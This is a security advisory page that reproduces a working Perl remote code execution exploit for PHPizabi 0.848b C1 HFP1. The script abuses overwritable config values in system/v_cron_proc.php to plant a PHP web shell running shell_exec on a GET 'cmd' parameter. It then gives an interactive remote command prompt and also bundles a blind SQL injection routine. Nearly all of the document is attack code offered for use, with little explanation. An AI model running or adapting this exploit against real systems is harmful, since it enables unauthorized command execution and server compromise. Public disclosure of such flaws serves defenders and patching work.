SecurityReason - PHPizabi 0.848b C1 HFP1 Remote Code Execution Exploit

Advisory Text :

#!/usr/bin/perl
#inphex
#PHPizabi v0.848b C1 HFP1 Remote Code Execution
#http://www.dz-secure.com/tools/1/WebESploit.pl.txt
#if you are seeking for a partner to work on some project(s) just send an
email inphex0 [ at ] gmail [ dot ] com
#system/v_cron_proc.php
# if (!function_exists("writeLogEntry")) {
# function writeLogEntry($data) {
# global $CONF;
#
# touch($CONF["CRON_LOGFILE"]);
#
# if ($handle = fopen($CONF["CRON_LOGFILE"], "a")) {
# fwrite($handle, "[".date($CONF["LOCALE_LONG_DATE_TIME"])."] $data
\n");
# fclose($handle);
# }
# }
# }
#
#
#writeLogEntry("Cron cycle started");
#writeLogEntry("Cron cycle ended");
########################################################
#overwritable:
#1.$CONF["CRON_LOGFILE"]
#2.$CONF["LOCALE_LONG_DATE_TIME"]
#
#date($CONF["LOCALE_LONG_DATE_TIME"]) ;\
#solution:
#<?php
#echo date("a");
#?>
#returns: pm
#<?php
#echo date("\a");
#?>
#returns: a
#seems logically eh?
#
#usage: perl ye.pl host /path/
#
## [C:\]# perl ye.pl host /path/
## $[host]# id
## uid=63676(dswrealty) gid=888(vusers) groups=33(www-data)
#
use LWP::UserAgent;
use HTTP::Cookies;
use Switch;

$hy = shift;
$host_ = "http://".$hy;
$path_ = shift;
$port = 80; #default
$info{'info'} = {
"description" => [""],
"options" =>
{
"agent" => "",
"proxy" => "",
"default_headers" => [
["key","value"]],
"timeout" => 0,
"cookie" =>
{
"cookie" => [""],
},
},
"sending_options" =>
{
"host" => $host_,
"path" => $path_."system/v_cron_proc.php",
"port" => $port,
"method_a" => "REMOTE_CO(MMAND)/CODE EXECUTION",
"attack" =>
{
"CONF[CRON_LOGFILE]" => ["get","CONF[CRON_LOGFILE]","yeee.php"],
"CONF[LOCALE_LONG_DATE_TIME]" =>
["get","CONF[LOCALE_LONG_DATE_TIME]","<?\\p\\h\\p \\e\\c\\h\\o
\\s\\h\\e\\l\\l_\\ex\\e\\c\$\\\$_\\G\\E\\T[\\c\\m\\d]\$;\\e\\x\\i\\t;?>"]
, #nice eh?:)
},
},

};

&start($info{'info'},222);
while () {
print "\$[".$hy."]#";
$cmd = <STDIN>;chomp($cmd);
$info{'info'} = {
"description" => [""],
"options" =>
{
"agent" => "",
"proxy" => "",
"default_headers" => [
["key","value"]],
"timeout" => 0,
"cookie" =>
{
"cookie" => [""],
},
},
"sending_options" =>
{
"host" => $host_,
"path" => $path_."system/yeee.php",
"port" => $port,
"method_a" => "REMOTE_CO(MMAND)/CODE EXECUTION",
"attack" =>
{
"CONF[CRON_LOGFILE]" => ["get","cmd",$cmd],
},
},

};

&start($info{'info'},221);
print ${$info{'info'}}{221}{'content'}."\n";
}
sub start
{

$a_ = shift;
$id = shift;
$post_dA = "";
$get_dA = get_d_p_s("get");
$post_dA = get_d_p_s("post");

my ($x,$c,$m,$h,$ff,$kf,$hp,$c,$cccc) = (0,0,0,0,0,0,0,0,0);
$jj = 1;
$ii = 48;
$hh = 1;
$ppp = 0;
$s = shift;
$a = "";
$res_p = "";
$h = "";
$ua= "";
$agent= "";
$k= "";
$v= "";
$get_data= "";
$post_data= "";
$header_dA = "";
$h_host_h_xdsjaop = $a_->{'sending_options'}{'host'};
$h_path_h_xdsjaop = $a_->{'sending_options'}{'path'};
$h_port_h_xdsjaop = $a_->{'sending_options'}{'port'};
$method_m = $a_->{'sending_options'}{'method_a'};
$ua = LWP::UserAgent->new;
$ua->timeout($a_->{'options'}{'timeout'});
if ($a_->{'options'}{'proxy'}) {
$ua->proxy(['http', 'ftp'] => $a_->{'options'}{'proxy'});
}
$agent = $a_->{'options'}{'agent'} || "Mozilla/5.0";
$ua->agent($agent);
{
while (($k,$v) = each(%{$a_}))
{
if ($k ne "options" && $k ne "sending_options")
{
foreach $r (@{$a_->{$k}})
{
print $a_->{$k}[0];
}
}
}

foreach $j (@{$a_->{'options'}{'default_headers'}})
{
$ua->default_headers->push_header($a_->{'options'}{'default_headers'}[$m
][0] => $a_->{'options'}{'default_headers'}[$m][1]);
$m++;
}

if ($a_->{'options'}{'cookie'}{'cookie'}[0])
{
$ua->default_headers->push_header('Cookie' =>
$a_->{'options'}{'cookie'}{'cookie'}[0]);
}

}
switch ($method_m)
{
case "attack" { &attack();}
case "SQL_INJECTION_BLIND" { &sql_injection_blind();}
case "REMOTE_COMMAND_EXECUTION" { &attack();}
case "REMOTE_CODE_EXECUTION" {&attack();}
case "REMOTE_FILE_INCLUSION" { &attack();}
case "LOCAL_FILE_INCLUSION" { &attack(); }
else { &attack(); }

}

sub attack
{
my ($jj);
my ($h);
my($x);
if ($post_dA eq "") {
$method = "get";
} elsif ($post_dA ne "")
{
$method = "post";
}
if ($method eq "get") {
$res_p = get_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA);
${$a_}{$id}{'content'} = $res_p;
foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
{
$res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/;

while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1])
{
if (${$jj} ne "")
{
${$a_}{$id}{'regex'}[$h][$x] = ${$jj};
$x++;
}
$jj++;
}

$h++;
}
} elsif ($method eq "post")
{
$res_p =
post_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA,"application/x-ww
w-form-urlencoded",$post_dA);

${$a_}{$id}{'content'} = $res_p;

foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
{
$res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/;
while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1])
{
if (${$jj} ne "")
{
${$a_}{$id}{'regex'}[$h][$x] = ${$jj};
$x++;
}
$jj++;
}
$h++;
}
}

}
sub sql_injection_blind
{
while ()
{
while ($ii <= 120)
{

$itsx = "[".chr($ii)."]";
$l = length($itsx);
$b = ("\b")x$l;
syswrite STDOUT,$b.$itsx;

if(check($ii,$hh) == 1)
{
syswrite STDOUT,$b.chr($ii)."---";
$hh++;
$chr = $chr.chr($ii);
}
$ii++;
}
push(@ffs,length($chr));
if (($#ffs - 999) == $ffs)
{
exit;
}
$ii = 48;
}
}
sub check($$)
{
my ($h);
my ($a);
$ii = shift;
$hh = shift;

if (get_d_p_s("post") ne "")
{
$method = "post";
} else { $method = "get";}
if ($method eq "get")
{
$ppp++;
$query = modify($get_dA,$ii,$hh);
$res_p =
get_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query);

foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
{
if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/)
{
if ($a_->{'sending_options'}{'attack'}{'regex'}[$h][2] == 1) {
return 1;
} else { return 0;}
}
else
{
if ($a_->{'sending_options'}{'attack'}{'regex'}[$h][2] == 1) {
return 0;
}else { return 1;}

}
$h++;
}
} elsif ($method eq "post")
{
$ppp++;
$query_g = modify($get_dA,$ii,$hh);
$query_p = modify($post_dA,$ii,$hh);

$res_p =
post_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query_g,"
application/x-www-form-urlencoded",$query_p);
foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
{
if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/)
{
return 1;
}
else
{
return 0;
}
$h++;
}
}
}
sub modify($$$)
{
$string = shift;
$replace_by = shift;
$replace_by1 = shift;

if ($string !~/\$i/ && $string !~/\$h/) {
return $string;
} elsif ($string !~/\$i/)
{
$ff = substr($string,0,index($string,"\$h"));
$ee = substr($string,rindex($string,"\$h")+2);
$string = $ff.$replace_by1.$ee;

return $string;
} elsif ($string !~/\$h/)
{
$f = substr($string,0,index($string,"\$i"));
$e = substr($string,rindex($string,"\$i")+2);
$string = $f.$replace_by.$e;
return $string;
} else
{
$f = substr($string,0,index($string,"\$i"));
$e = substr($string,rindex($string,"\$i")+2);
$string = $f.$replace_by.$e;

$ff = substr($string,0,index($string,"\$h"));
$ee = substr($string,rindex($string,"\$h")+2);
$string = $ff.$replace_by1.$ee;

return $string;
}
}
sub get_d_p_s
{
$k = 0;
$v = 0;
$g_d_p_s = shift;

@post = ();
@get = ();

$post_data = "";
$get_data = "";
$header_data = "";
%header_dA = ();
$p = "";
$g = "";
while (($k,$v) = each(%{$a_->{'sending_options'}{'attack'}}))
{
if ($a_->{'sending_options'}{'attack'}{$k}[0] =~/post/)
{
$p .=
$a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'att
ack'}{$k}[2]."&";
} elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~/get/) {
$g .=
$a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'att
ack'}{$k}[2]."&";
} elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "header")
{
$header_dA{$a_->{'sending_options'}{'attack'}{$k}[1]} =
$a_->{'sending_options'}{'attack'}{$k}[2];
}
}
if ($g_d_p_s eq "get")
{
return $g;
}
elsif ($g_d_p_s eq "post")
{
return $p;
} elsif ($g_d_p_s eq "header")
{
return %header_dA;
}

@a_ = ();
}
sub get_data
{
$h_host_h_xdsjaop = shift;
$h_path_h_xdsjaop = shift;
%hash = get_d_p_s("header");
while (($u,$c) = each(%hash))
{
$ua->default_headers->push_header($u => $c);
}
$req =
$ua->get($h_host_h_xdsjaop.":".$a_->{'sending_options'}{'port'}.$h_path_h_x
dsjaop);
return $req->content;
}
sub post_data
{
$h_host_h_xdsjaop = shift;
$h_path_h_xdsjaop = shift;
$content_type = shift;
$send = shift;
%hash = get_d_p_s("header");
while (($u,$c) = each(%hash))
{
$ua->default_headers->push_header($u => $c);
}
$req = HTTP::Request->new(POST =>
$h_host_h_xdsjaop.":".$a_->{'sending_options'}{'port'}.$h_path_h_xdsjaop);
$req->content_type($content_type);
$req->content($send);
$res = $ua->request($req);
return $res->content;
}

}